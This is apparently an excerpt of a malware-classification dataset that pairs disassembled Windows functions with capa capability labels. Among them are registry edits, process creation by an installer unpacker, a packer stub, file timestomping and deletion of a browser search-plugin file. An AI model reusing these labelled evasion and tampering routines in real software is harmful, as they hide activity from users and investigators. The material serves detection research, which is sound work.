joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a209
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, 0x43a2c3
call fcn.004108ac
sub esp, 4
push ebx
push esi
lea eax, [ecx + 0x20]
push edi
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x43a237
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
jmp 0x43a23a
mov ebx, dword [esi + 4]
test ebx, ebx
je 0x43a24a
mov edx, dword [ebp + 8]
cmp dword [ebx + 8], edx
jg 0x43a332
cmp dword [ebp + 0xc], 0
je 0x43a33e
test ebx, ebx
jne 0x43a2a9
push 0x10
call fcn.00439fe2
mov dword [ebp - 0x10], eax
mov edi, eax
mov dword [ebp - 4], 0
test edi, edi
je 0x43a28f
mov ebx, edi
mov dword [edi], vtable.CNoTrackObject.0
mov byte [ebp - 4], 1
mov byte [ebp - 4], 0
mov dword [edi], vtable.CThreadData.0
jmp 0x43a291
xor ebx, ebx
xor eax, eax
push ebx
mov dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0x18]
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
call fcn.00439f82
mov eax, dword [ebx + 0xc]
lea edi, [esi + 0x10]
test eax, eax
jne 0x43a2d6
mov eax, dword [edi]
shl eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x43a2e5
push 2
mov ecx, dword [edi]
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [ebx + 0xc], eax
cmp dword [ebx + 0xc], 0
jne 0x43a2fd
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0041e91c
mov eax, dword [ebx + 8]
mov ecx, dword [edi]
sub ecx, eax
shl ecx, 2
shl eax, 2
push ecx
push 0
add eax, dword [ebx + 0xc]
push eax
call fcn.00410d30
add esp, 0xc
mov ecx, dword [edi]
mov dword [ebx + 8], ecx
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x43a32f
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x43a332
mov dword [esi + 4], ebx
mov edx, dword [ebp + 8]
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebp + 0xc]
mov dword [ecx + edx*4], eax
add esi, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x43a3a9
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ecx + 0x20]
push edi
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x43a3d0
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
jmp 0x43a3d3
mov edi, dword [esi + 4]
test edi, edi
je 0x43a48b
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [edi + 8], 1
jle 0x43a44e
mov dword [ebp - 0xc], 8
mov ebx, 4
cmp dword [ebp + 8], 0
je 0x43a422
mov eax, dword [ebp - 0xc]
mov edx, dword [esi + 0x14]
mov ecx, dword [ebp + 8]
cmp dword [edx + eax + 4], ecx
je 0x43a422
mov eax, dword [edi + 0xc]
cmp dword [eax + ebx], 0
je 0x43a43c
mov dword [ebp - 4], 0
jmp 0x43a43c
mov eax, dword [edi + 0xc]
mov ecx, dword [eax + ebx]
test ecx, ecx
je 0x43a432
push 1
mov eax, dword [ecx]
call dword [eax]
mov eax, dword [edi + 0xc]
mov dword [eax + ebx], 0
add ebx, 4
inc dword [ebp - 8]
add dword [ebp - 0xc], 8
mov eax, dword [ebp - 8]
cmp dword [edi + 8], eax
jg 0x43a3fb
cmp dword [ebp - 4], 0
je 0x43a48b
push edi
lea ecx, [esi + 0x18]
call fcn.00439f95
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
test edi, edi
je 0x43a472
push 1
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x43a484
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x43a48b
mov dword [esi + 4], 0
add esi, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x43a9a7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, 0x44b620
jmp 0x43aa1e
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx edi, ah
mov dl, al
and eax, 0x80000000
movzx ecx, dl
shl ecx, 8
shr eax, 0x1f
add ecx, edi
mov dword [esi + 0x70], ecx
mov dword [esi + 0x74], eax
mov ecx, 1
cmp dl, 4
sbb edx, edx
mov edi, ecx
inc edx
sub edi, edx
mov dword [esi + 0x78], edx
mov dword [esi + 0x7c], edi
mov dword [esi + 0x80], edx
test eax, eax
je 0x43aa6e
test edx, edx
jne 0x43aa6e
mov dword [esi + 0x84], ecx
jmp 0x43aa78
mov dword [esi + 0x84], 0
lea edi, [esi + 0x88]
xor eax, eax
test edx, edx
mov dword [edi], eax
je 0x43aa97
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
cmp eax, 0x40000
sbb eax, eax
inc eax
mov dword [edi], eax
mov ecx, esi
call fcn.00427604
push 0xc0c0c0
xor edi, edi
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x808080
mov dword [esi + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [esi + 0x24], eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x28], edi
mov ecx, esi
mov dword [esi + 0x34], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x40], edi
call fcn.00427547
push 0x7f02
push edi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
mov dword [esi + 0x58], eax
push edi
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esi + 0x5c], eax
mov dword [esi + 0x60], edi
cmp dword [esi + 0x78], 1
sbb eax, eax
mov dword [esi + 0x6c], edi
add eax, 2
pop edi
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
ret
Function at 0x43b89e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
jne 0x43b8d2
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
cmp eax, 1
sbb eax, eax
neg eax
jmp 0x43b91e
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x43b91c
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0xc]
push 1
push 0
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x43b91c
mov eax, 1
test esi, esi
je 0x43b91e
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40192e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa7c
push ebx
push esi
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
rep stosd dword es:[edi], eax
mov eax, dword [0x406c60]
test eax, eax
je 0x40196e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x406a50
push dword [0x406c60]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, str.IDM1.tmp
mov esi, 0x406a58
push ebx
push esi
lea eax, [ebp - 0xa7c]
push str._s_s
push eax
call edi
lea eax, [ebp - 0xa7c]
push eax
call fcn.00401a98
add esp, 0x14
cmp dword [0x406e70], 0
je 0x4019eb
lea eax, [ebp - 0x25c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4019db
lea eax, [ebp - 0x25c]
push eax
push esi
push ebx
push esi
lea eax, [ebp - 0xa7c]
push str.__s_s___d___s___rmsetup___s_
push eax
call edi
add esp, 0x18
jmp 0x4019e2
and dword [0x406e70], 0
cmp dword [0x406e70], 0
jne 0x4019ff
push esi
push ebx
push esi
lea eax, [ebp - 0xa7c]
push str.__s_s___d___s_
push eax
call edi
add esp, 0x14
xor edi, edi
push 0x10
lea eax, [ebp - 0x10]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x406a50], 0xfffffc18
mov dword [ebp - 0x54], 0x44
jae 0x401a80
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push edi
push 0x20
push edi
push edi
lea eax, [ebp - 0xa7c]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401a5d
push 0x405110
push 1
push 1
push edi
push str.Could_not_create_process_in_unpacker
call fcn.00401c00
add esp, 0x14
jmp 0x401a93
cmp dword [ebp - 0xc], edi
je 0x401a93
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
push dword [0x406a4c]
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x401a93
push 0x40
push str.IDM_Setup
push str.Install_process_has_been_stopped_because_of_errors_in_unpacker_procedure
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a98
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
push esi
push edi
call fcn.00401bc2
mov esi, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg esi
sbb esi, esi
lea eax, [ebp - 4]
and esi, 0x100
push eax
add esi, 0xf003f
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
push esi
push 0
push ebx
push 0x80000002
call edi
test eax, eax
jne 0x401b42
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x800
push eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401b39
lea eax, [ebp - 0x808]
push 0x4053dc
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
test eax, eax
pop ecx
jne 0x401b2d
lea eax, [ebp - 0x808]
push 0x4053d4
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
test eax, eax
pop ecx
je 0x401b39
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push esi
xor esi, esi
push esi
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x401bbd
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x800
push eax
lea eax, [ebp - 0x808]
push eax
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401bb4
lea eax, [ebp - 0x808]
push 0x4053dc
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
test eax, eax
pop ecx
jne 0x401ba8
lea eax, [ebp - 0x808]
push 0x4053d4
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
test eax, eax
pop ecx
je 0x401bb4
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
lea eax, [ebp - 4]
push esi
push eax
push 0x400
call edi
push eax
push esi
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x18]
push 0xa
push eax
call edi
push eax
call sub.MSVCRT.dll__itoa
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp dword [ebp + 0x10], esi
je 0x401d1c
cmp dword [ebp + 0xc], esi
jne 0x401c6d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x400]
push dword [ebp + 8]
push str._s._Error_ID_s
push eax
call edi
add esp, 0x10
jmp 0x401c98
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
cmp eax, 0x104
pop ecx
ja 0x401c98
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x400]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._s.__s_Error_ID_s
push eax
call edi
add esp, 0x14
push esi
push esi
push 4
push esi
push 1
push 0xc0000000
push 0x406c64
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp + 0xc], ebx
jne 0x401cce
push 0x10
push str.IDM_Setup
push str.Could_not_create_open_error_log_file
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401d1c
push 2
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push esi
push eax
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x400]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
lea eax, [ebp - 8]
push esi
push eax
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0xc]
call ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x14], esi
je 0x401d75
cmp dword [ebp - 4], esi
je 0x401d75
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
mov ebx, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebx + eax + 0xff]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
pop ecx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push str._s_r_n_s_r_nError_ID:__s
push ebx
call edi
add esp, 0x14
push 0x10
push str.IDM_Setup
push ebx
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
pop edi
pop esi
add eax, ecx
pop ebx
leave
ret
Function at 0x402153
Capabilities:
Get file size
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x401180
push 0x40425e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push esi
push dword [ebp + 0x14]
push esi
push 1
push dword [ebp + 0x10]
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
call edi
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, 0xffffffff
jne 0x4021ee
push dword [ebp + 8]
lea eax, [ebp - 0x234]
push eax
call sub.MSVCRT.dll_wcscpy
push 0x405634
push dword [ebp + 8]
call sub.MSVCRT.dll_wcscat
add esp, 0x10
push esi
push esi
push dword [ebp + 0x14]
push esi
push 1
push dword [ebp + 0x10]
push dword [ebp + 8]
call edi
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, 0xffffffff
jne 0x4021ee
push 0x405110
push 1
push 1
push esi
push str.Could_not_create_file_in_GetViewFile
jmp 0x402292
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 0xc]
add dword [ecx], eax
mov ecx, dword [ecx]
cmp dword [ebp + 0x10], 0x80000000
jne 0x402216
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x2c], 4
jmp 0x40222d
cmp dword [ebp + 0x10], 0xc0000000
jne 0x40222d
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x2c], 2
push esi
push ecx
push esi
push dword [ebp - 0x28]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, eax
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], esi
je 0x40225b
push 0x406e78
push 0x406e88
push 0x406e80
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
cmp dword [ebp + 0x1c], esi
je 0x402276
push 0x406e78
push 0x406e88
push 0x406e80
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
cmp edi, esi
jne 0x4022a2
push 0x405110
push 1
push 1
push esi
push str.Could_not_create_map_file_in_GetViewFile
call fcn.00401c00
add esp, 0x14
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x402300
push esi
push esi
push esi
push dword [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
cmp eax, esi
jne 0x4022cd
push 0x405110
push 1
push 1
push esi
push str.Could_not_create_map_view_file_in_GetViewFile
call fcn.00401c00
add esp, 0x14
push edi
call ebx
jmp 0x4022f9
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x475fa0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x41f015
lea edi, [esi - 0x1e015]
push edi
jmp 0x475fba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x475fc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x475fb0
mov eax, 1
add ebx, ebx
jne 0x475fd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x475fe4
jne 0x476003
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476003
dec eax
add ebx, ebx
jne 0x475ff0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x475fc8
add ebx, ebx
jne 0x475fff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x476055
xor ecx, ecx
sub eax, 3
jb 0x47601b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47608a
sar eax, 1
mov ebp, eax
jmp 0x476026
add ebx, ebx
jne 0x476026
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x475ff4
inc ecx
add ebx, ebx
jne 0x476034
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x475ff4
add ebx, ebx
jne 0x476041
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x476036
jne 0x476052
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x476036
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x476074
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x476066
jmp 0x475fb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x476074
add edi, ecx
jmp 0x475fb6
pop esi
lea edi, [esi + 0x73000]
mov eax, dword [edi]
or eax, eax
je 0x4760d3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x761f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x76244]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x476091
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7624c]
or eax, eax
je 0x4760cd
mov dword [ebx], eax
add ebx, 4
jmp 0x4760ae
call dword [esi + 0x76248]
mov ebp, dword [esi + 0x76250]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x7612e]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x47611f
sub esp, 0xffffff80
jmp 0x414ac0
Function at 0x60b770
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x60b7af
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x60b7af
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x60b7af
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x60b7af
cmp dword [ecx + 0x74], 0xe
jbe 0x60b7af
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x611303
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x6113a0
push ebx
push esi
call fcn.006112cc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00611260
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x61134d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x61139f
push edi
push eax
call fcn.00611f20
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x61136d
call fcn.0060fdc1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x61139e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00611260
add esp, 0x20
test eax, eax
jne 0x61138c
push edi
call fcn.0060fdc1
jmp 0x611394
push ebx
call fcn.0060fdc1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x61269d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x61a048
push 0x61a040
push str.FlsAlloc
push 0x1f
call fcn.0061255c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x6126d1
push dword [ebp + 8]
mov ecx, esi
call dword [0x618130]
call esi
jmp 0x6126d7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x61271b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x61a058
push 0x61a050
push str.FlsGetValue
push 0x21
call fcn.0061255c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x612752
push dword [ebp + 8]
mov ecx, esi
call dword [0x618130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x61275a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x61a060
push 0x61a058
push str.FlsSetValue
push 0x22
call fcn.0061255c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x612794
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x618130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x617bf0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x617c1d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x617c1d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10002ba0
Capabilities:
Delete file

Disassembly:
call fcn.10026d30
jmp 0x10034f80
push 0xffffffffffffffff
push 0x10051be0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x40
mov eax, dword [0x100778dc]
push ebx
push esi
mov dword [esp + 0x44], eax
call fcn.10034a20
mov esi, eax
mov dword [esp + 8], esi
xor ebx, ebx
cmp esi, ebx
mov dword [esp + 0x50], ebx
je 0x10034fcd
cmp dword [esi], 2
jge 0x10034fd4
mov ecx, esi
call fcn.10034770
push esi
call fcn.1004119d
add esp, 4
xor al, al
jmp 0x100350a9
mov eax, dword [str.searchplugins_]
push edi
push eax
lea ecx, [esi + 0x28]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.10018ee0
mov edi, eax
push str.7iAAMcL2L3XnU2HRFO
mov byte [esp + 0x64], 1
call fcn.100254b0
push eax
lea eax, [esp + 0x40]
push edi
push eax
call fcn.10018ee0
mov eax, dword [esp + 0x44]
mov edi, 0x10
add esp, 0x1c
cmp eax, edi
jb 0x10035023
mov ecx, dword [esp + 0x14]
push ecx
call fcn.1004119d
add esp, 4
cmp dword [esp + 0x44], edi
mov eax, dword [esp + 0x30]
jae 0x10035031
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
mov eax, dword [esp + 0x44]
jne 0x10035075
cmp eax, edi
jb 0x10035051
mov edx, dword [esp + 0x30]
push edx
call fcn.1004119d
add esp, 4
mov ecx, esi
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.10034770
push esi
call fcn.1004119d
add esp, 4
xor al, al
jmp 0x100350a8
cmp eax, edi
jb 0x10035086
mov eax, dword [esp + 0x30]
push eax
call fcn.1004119d
add esp, 4
mov ecx, esi
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.10034770
push esi
call fcn.1004119d
add esp, 4
mov al, 1
pop edi
mov ecx, dword [esp + 0x48]
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x40]
pop ebx
call fcn.1004189e
add esp, 0x4c
ret